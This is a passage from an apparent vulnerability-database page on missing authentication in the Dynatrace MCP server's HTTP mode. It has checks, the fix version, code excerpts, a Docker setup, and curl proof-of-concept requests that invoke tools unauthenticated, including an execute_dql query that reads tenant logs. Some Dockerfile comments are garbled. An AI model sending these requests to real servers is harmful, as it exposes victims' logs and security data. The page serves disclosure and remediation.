--- id: "CVE-2026-123811" page: "https://infrastack.ai/live/CVE-2026-123811" kind: "vulnerability" aliases: ["CVE-2026-123811", "GHSA-p7w7-4929-vpj5"] title: "`@dynatrace-oss/dynatrace-mcp-server` has Unauthenticated HTTP MCP Tool Invocation" severity: "high" cvss: 7.5 epss: null exploited: false status: "open" category: "package" products: [{"name": "@dynatrace-oss/dynatrace-mcp-server", "fixed": ["2.0.0"], "affected": "<= 1.8.7", "ecosystem": "npm"}] ecosystems: ["npm"] tags: ["containers", "cwe-306", "dynatrace", "mcp", "node", "package", "self-hosted"] not_affected_if: ["no-http-flag", "port-not-reachable", "stdio-only"] published_at: "2026-07-31T16:05:57+00:00" first_seen_at: "2026-11-09T21:04:01+00:00" updated_at: "2026-11-09T21:04:18+00:00" sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-p7w7-4929-vpj5", "first_seen_at": "2026-11-09T21:04:01+00:00"}] exploit_sources: [] --- # `@dynatrace-oss/dynatrace-mcp-server` has Unauthenticated HTTP MCP Tool Invocation Link for people: https://infrastack.ai/live/CVE-2026-123811 (this .md is for agents) When the Dynatrace MCP server runs in HTTP mode, it accepts tool calls with no authentication check. Anyone who can reach the port can run tools such as execute_dql under the server's Dynatrace credentials, reading logs and security events and writing notebooks. _Summary, check and fix written by a model from the sources; labelled as such._ ## Affected - npm:@dynatrace-oss/dynatrace-mcp-server affected <= 1.8.7 fixed 2.0.0 ## How to check - Check whether the server is started with `--http` (look at the process arguments or container command). - Check the installed version with `npm ls @dynatrace-oss/dynatrace-mcp-server`; affected versions are `<= 1.8.7`. - Check whether the HTTP port is reachable from outside the host, especially when bound with `--host 0.0.0.0`. ## Fix - `@dynatrace-oss/dynatrace-mcp-server`: move to `2.0.0` ## Timeline - 2026-11-09T21:04:01+00:00 ghsa https://github.com/advisories/GHSA-p7w7-4929-vpj5 ## Documents - [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/dynatrace-oss/dynatrace-mcp/security-advisories/GHSA-p7w7-4929-vpj5 - [advisory] Maintainer's advisory: github.com https://github.com/dynatrace-oss/dynatrace-mcp/security/advisories/GHSA-p7w7-4929-vpj5 - [fix] Patch: github.com https://github.com/dynatrace-oss/dynatrace-mcp/pull/536 - [fix] Patch: github.com https://github.com/dynatrace-oss/dynatrace-mcp/commit/8f12972481e9165e8bd24d63b0a9e71976f85a43 - [fix] Release: github.com https://github.com/dynatrace-oss/dynatrace-mcp/releases/tag/v2.0.0 ## From the sources ### Summary `@dynatrace-oss/dynatrace-mcp-server` v1.8.5 exposes an HTTP transport mode (`--http` flag) that performs no authentication, session validation, or origin/host verification before dispatching MCP tool calls. Any network-reachable attacker can send a raw JSON-RPC `tools/call` request without an `Authorization` header and have it executed directly under the victim server's Dynatrace credentials. Confirmed high-impact tools reachable without authentication include `execute_dql` (reads arbitrary Grail data, including logs, security events, and user sessions) and `create_dynatrace_notebook` (writes notebooks to the tenant). ### Details When the server is started with the `--http` flag, an HTTP server is created at `src/index.ts:1621`. For every inbound request the handler creates a new `StreamableHTTPServerTransport` instance: ```ts // src/index.ts:1638-1640 const httpTransport = new StreamableHTTPServerTransport({ sessionIdGenerator: undefined, // No Session ID needed }); ``` No bearer-token check, session token, `Host` allowlist, or `Origin` allowlist is configured on either the transport or in the surrounding request handler. The raw body is parsed and handed directly to the transport: ```ts // src/index.ts:1648-1668 body = JSON.parse(rawBody); ... await httpTransport.handleRequest(req, res, body); ``` Two tools are directly reachable by an unauthenticated HTTP caller without any `requestHumanApproval` gate: **`execute_dql` — Confidentiality: High** ```ts // src/index.ts:746-769 // No requestHumanApproval before createAuthenticatedHttpClient const dtClient = await createAuthenticatedHttpClient(scopesBase.concat('storage:buckets:read', ...)); return executeDql(dtClient, { query }); ``` An attacker can run arbitrary DQL queries (logs, security events, user sessions, metrics) using the victim's Dynatrace credentials. **`create_dynatrace_notebook` — Integrity: Low** ```ts // src/index.ts:1593-1600 // No requestHumanApproval before createAuthenticatedHttpClient const dtClient = await createAuthenticatedHttpClient(scopesBase.concat('document:write')); return createNotebook(dtClient, { name, sections }); ``` An attacker can create notebooks under the victim's tenant. > **Note on `send_event`:** The initial static report claimed `send_event` was also unguarded. Code inspection at `src/index.ts:1367` confirms a `requestHumanApproval` call exists inside the `send_event` handler. An HTTP attacker (no MCP elicitation loop) causes that call to throw, and the catch block returns `false`, effectively blocking the write. The `send_event` path is therefore not exploitable via the HTTP attack vector. > **Note on PoC tool `reset_grail_budget`:** The PoC uses `reset_grail_budget` (`src/index.ts:1218-1239`), which performs no Dynatrace API calls — it resets in-memory budget counters only. It is used purely as a safe, self-contained proof that unauthenticated dispatch works; actual data exfiltration requires `execute_dql` with real credentials. ### PoC **Environment setup (Docker):** ```bash # Build from repository root docker build \ -t dynatrace-mcp-vuln001:latest \ -f /path/to/vuln-001/Dockerfile \ /path/to/dynatrace-mcp/repo # Run — abc12345 in hostname activates demo mode, skipping real API connectivity check docker run -d \ --name dynatrace-mcp-vuln001-test \ -p 127.0.0.1:3999:3999 \ -e DT_ENVIRONMENT=https://abc12345.apps.dynatrace.com \ -e DT_PLATFORM_TOKEN=fake-token-for-poc \ dynatrace-mcp-vuln001:latest \ --http --port 3999 --host 0.0.0.0 ``` **Unauthenticated tool invocation (no `Authorization` header):** ```bash curl -sS -N -X POST http://127.0.0.1:3999/ \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -H 'Mcp-Protocol-Version: 2025-03-26' \ --data '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"reset_grail_budget","arguments":{}}}' ``` **Observed response (HTTP 200, no authentication required):** ``` HTTP/1.1 200 OK content-type: text/event-stream event: message data: {"result":{"content":[{"type":"text","text":"✅ **Grail Budget Reset Successfully!**\n\nBudget status after reset:\n- Total bytes scanned: 0 bytes (0 GB)\n- Budget limit: 5000 GB\n- Remaining budget: 5000 GB\n- Budget exceeded: No"}]},"jsonrpc":"2.0","id":1} ``` **Python PoC script** (automated, with server-readiness polling): ```bash python3 poc.py 127.0.0.1 3999 # Exits 0 on confirmed unauthenticated tool execution # Exits 2 if server correctly returns HTTP 401 (patched) ``` **High-impact variant with real credentials — data exfiltration via `execute_dql`:** ```bash curl -sS -N -X POST http://:3000/ \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -H 'Mcp-Protocol-Version: 2025-03-26' \ --data '{ "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "execute_dql", "arguments": { "query": "fetch logs | limit 10" } } }' ``` **Recommended remediation:** ```diff --- a/src/index.ts +++ b/src/index.ts +import { timingSafeEqual } from 'node:crypto'; + .option('--http-auth-token ', 'bearer token required for HTTP server mode') + const httpAuthToken = options.httpAuthToken || process.env.DT_MCP_HTTP_AUTH_TOKEN; + + const isAuthorizedHttpRequest = (req: IncomingMessage): boolean => { + const expected = httpAuthToken ? Buffer.from(`Bearer ${httpAuthToken}`) : undefined; + const actualHeader = req.headers.authorization; + if (!expected || !actualHeader) return false; + const actual = Buffer.from(actualHeader); + return actual.length === expected.length && timingSafeEqual(actual, expected); + }; if (httpMode) { + if (!httpAuthToken) { + console.error('HTTP mode requires --http-auth-token or DT_MCP_HTTP_AUTH_TOKEN.'); + process.exit(1); + } const httpServer = createServer(async (req, res) => { + if (!isAuthorizedHttpRequest(req)) { + res.writeHead(401, { 'Content-Type': 'application/json', 'WWW-Authenticate': 'Bearer' }); + res.end(JSON.stringify({ jsonrpc: '2.0', id: null, error: { code: -32001, message: 'Unauthorized' } })); + return; + } const httpTransport = new StreamableHTTPServerTransport({ sessionIdGenerator: undefined, + enableDnsRebindingProtection: true, + allowedHosts: [`${host}:${httpPort}`, `127.0.0.1:${httpPort}`, `localhost:${httpPort}`], }); ``` ### Impact This is a **Missing Authentication for Critical Function** vulnerability. The HTTP transport mode acts as an unauthenticated proxy to the victim's Dynatrace tenant: any attacker who can reach the server port can read sensitive observability data (logs, security events, user sessions, metrics) via `execute_dql` and write notebook documents via `create_dynatrace_notebook`, all under the configured Dynatrace credentials without needing to know those credentials. **Who is impacted:** Organizations running `dynatrace-mcp-server` with the `--http` flag enabled — particularly deployments using `--host 0.0.0.0` (documented and supported), container deployments, or any deployment where the port is reachable from an untrusted network. Localhost-only deployments are at reduced but non-zero risk via DNS rebinding or same-host compromise. With `--host 0.0.0.0` the attack requires no user interaction and no complex conditions, raising the effective CVSS score to 9.3. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # VULN-001: Unauthenticated HTTP MCP Tool Invocation (CWE-306) # build stage - text sourcefrom dynatrace-mcp-server build FROM node:22.21.1-alpine3.22 AS build WORKDIR /app # repo copy the full repo source (hosttext clone repo pathfrom textand build) COPY . . RUN npm ci RUN npm run build # runtime textonly install (dist/package.json criteria) RUN cd dist && npm install --ignore-scripts && npm cache clean --force # runtime stage FROM node:22.21.1-alpine3.22 --- _Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_